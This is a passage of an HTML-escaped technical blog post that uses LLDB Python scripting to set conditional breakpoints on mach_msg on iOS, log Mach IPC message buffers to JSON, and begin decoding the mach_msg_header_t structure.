                &lt;span class=&quot;n&quot;&gt;start_sniff_port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;debugger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'port id error: '&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;end with no state&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once we find the port name and number we are interested in, we initiate the sniffing mechanisms. Keeping the port number finding and sniffing of the messages separate is nice because it allows the user to potentially sniff on just a port number rather than by name - especially in the case where we miss the look up calls before the debugger is attached.&lt;/p&gt;

&lt;h3 id=&quot;sniffing-the-mach-messages&quot;&gt;Sniffing the mach messages&lt;/h3&gt;
&lt;p&gt;To find the messages of interest is the same basic process as finding ports - we just need the port number. Initially, I wanted to get all the messages and then do post processing to filter out only the ones I’m interested in. However, breakpoints are expensive and the App would run beyond slow! So, it became necessary to only sniff on the ports of interest.&lt;/p&gt;

&lt;p&gt;To be selective on the port we have to specify a breakpoint condition. This condition will check that register &lt;code class=&quot;highlighter-rouge&quot;&gt;X0&lt;/code&gt; contains our port number. Doing this is still expensive but it sped things up to a reasonable threshold.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;start_sniff_port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;debugger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port_number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;debugger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetSelectedTarget&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;msg_bp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BreakpointCreateByName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'mach_msg'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                                 &lt;span class=&quot;s&quot;&gt;'libsystem_kernel.dylib'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;msg_bp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SetScriptCallbackFunction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'mach_sniff.print_mach_msg'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;msg_bp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SetCondition&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;*(uint32_t*)($x0 + 8) == &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;d&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port_number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Our breakpoint is set on the &lt;code class=&quot;highlighter-rouge&quot;&gt;mach_msg&lt;/code&gt; function in the &lt;code class=&quot;highlighter-rouge&quot;&gt;libsystem_kernel.dylib&lt;/code&gt; library. This function is a wrapper for the actual system call. Although, it does a little more than just pass through the parameters.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print_mach_msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frame&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bp_loc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;thread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetThreadID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;x0_data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetChildAtIndex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;x1_opt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetChildAtIndex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;x2_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetChildAtIndex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;x3_recv_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetChildAtIndex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;x4_recv_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetChildAtIndex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;x5_timeout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetChildAtIndex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;x5_notify&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetChildAtIndex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;'type'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'msg_send_start'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;'time'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;'frame'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frame&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;'tid'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;'send_msg_size'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x2_len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;'recv_msg_size'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x3_recv_len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;'msg_options'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x1_opt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;'rcv_name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x4_recv_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;'timeout'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x5_timeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;'notify'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x5_notify&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x2_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lldb&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SBError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ReadMemory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x0_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x2_len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'msg'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;binascii&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hexlify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dumps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;output_file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;output_file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On each message send call for our port of interest we collect information from the registers and record the data into a file for later processing. In this case we just take the buffer at &lt;code class=&quot;highlighter-rouge&quot;&gt;X0&lt;/code&gt; and read the amount of bytes specified in &lt;code class=&quot;highlighter-rouge&quot;&gt;X2&lt;/code&gt; which is the length of the buffer. Other data is recorded as well but we’ll find its usefulness sometime later.&lt;/p&gt;

&lt;p&gt;Each entry of the output file will look like this:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;frame&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;frame #0: 0x0000000197054c40 
           libsystem_kernel.dylib`mach_msg&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
 &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;tid&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;135127&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
 &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;notify&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
 &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;msg_options&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0x0000000000000011&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
 &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;rcv_name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
 &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;recv_msg_size&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
 &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;send_msg_size&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;76&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
 &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;timeout&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
 &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;time&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1471562568339&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
 &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;msg&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;131500004c0000001b6c00000bc20000000
         00000010000000000000000000000000000
         000000000000000000f8f4f2f0010000000
         10000001000000001000000000000000080
         2f430000f041&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
 &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;msg_send_start&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In essence each line is a JSON record of the arguments to the &lt;code class=&quot;highlighter-rouge&quot;&gt;mach_msg&lt;/code&gt; function. Kind of like &lt;code class=&quot;highlighter-rouge&quot;&gt;strace&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;making-sense-of-it-all&quot;&gt;Making sense of it all&lt;/h2&gt;
&lt;p&gt;Recording the messages is just the first step. We also need to be able to understand them. Not surprisingly, they are layered in a similar way as network protocols. This is due to the various abstractions available to provide IPC mechanisms. As I mentioned earlier, the use case of the &lt;code class=&quot;highlighter-rouge&quot;&gt;libsimulatetouch&lt;/code&gt; uses CF for their abstraction.&lt;/p&gt;

&lt;p&gt;The first part is easy, it’s just a standard message header for all mach messages:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;mach_msg_bits_t&lt;/span&gt;          &lt;span class=&quot;n&quot;&gt;msgh_bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;mach_msg_size_t&lt;/span&gt;          &lt;span class=&quot;n&quot;&gt;msgh_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;mach_port_t&lt;/span&gt;       &lt;span class=&quot;n&quot;&gt;msgh_remote_port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;mach_port_t&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;msgh_local_port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;mach_msg_size_t&lt;/span&gt;      &lt;span class=&quot;n&quot;&gt;msgh_reserved&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;mach_msg_id_t&lt;/span&gt;              &lt;span class=&quot;n&quot;&gt;msgh_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mach_msg_header_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

